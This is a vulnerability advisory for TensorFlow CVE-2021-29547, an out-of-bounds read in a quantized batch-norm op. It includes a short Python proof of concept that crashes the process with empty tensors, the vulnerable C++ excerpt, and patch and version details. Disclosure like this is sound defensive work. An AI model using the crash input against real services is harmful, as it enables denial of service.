Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization`
Impact
An attacker can cause a segfault and denial of service via accessing data outside of bounds in tf.raw_ops.QuantizedBatchNormWithGlobalNormalization:
import tensorflow as tf
t = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8)
t_min = tf.constant([], shape=[0], dtype=tf.float32)
t_max = tf.constant([], shape=[0], dtype=tf.float32)
m = tf.constant([1], shape=[1], dtype=tf.quint8)
m_min = tf.constant([], shape=[0], dtype=tf.float32)
m_max = tf.constant([], shape=[0], dtype=tf.float32)
v = tf.constant([1], shape=[1], dtype=tf.quint8)
v_min = tf.constant([], shape=[0], dtype=tf.float32)
v_max = tf.constant([], shape=[0], dtype=tf.float32)
beta = tf.constant([1], shape=[1], dtype=tf.quint8)
beta_min = tf.constant([], shape=[0], dtype=tf.float32)
beta_max = tf.constant([], shape=[0], dtype=tf.float32)
gamma = tf.constant([1], shape=[1], dtype=tf.quint8)
gamma_min = tf.constant([], shape=[0], dtype=tf.float32)
gamma_max = tf.constant([], shape=[0], dtype=tf.float32)
tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
gamma_max=gamma_max, out_type=tf.qint32,
variance_epsilon=0.1, scale_after_normalization=True)
This is because the implementation assumes the inputs are not empty:
const float input_min = context->input(1).flat<float>()(0);
const float input_max = context->input(2).flat<float>()(0);
...
const float mean_min = context->input(4).flat<float>()(0);
const float mean_max = context->input(5).flat<float>()(0);
...
const float var_min = context->input(7).flat<float>()(0);
const float var_max = context->input(8).flat<float>()(0);
...
const float beta_min = context->input(10).flat<float>()(0);
const float beta_max = context->input(11).flat<float>()(0);
...
const float gamma_min = context->input(13).flat<float>()(0);
const float gamma_max = context->input(14).flat<float>()(0);
If any of these inputs is empty, .flat<T>() is an empty buffer, so accessing the element at index 0 is accessing data outside of bounds.
Patches
We have patched the issue in GitHub commit d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-cpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-gpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4fg4-p75j-w5xj
- https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b
- https://nvd.nist.gov/vuln/detail/CVE-2021-29547
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-475.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-673.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-184.yaml
- https://github.com/tensorflow/tensorflow
- CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-125- Platform
- Python (PyPI)
- Package
tensorflow, tensorflow-cpu, tensorflow-gpu- Disclosed
- 14.05.2021
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2021-184 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-475 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-673 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-4fg4-p75j-w5xj - CC BY 4.0
Vulnerability history: tensorflow-cpu
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 430
- First → latest
- 04.2019 07.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 111
- Medium 208
- Low 105
Disclosures per year
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization` this entry
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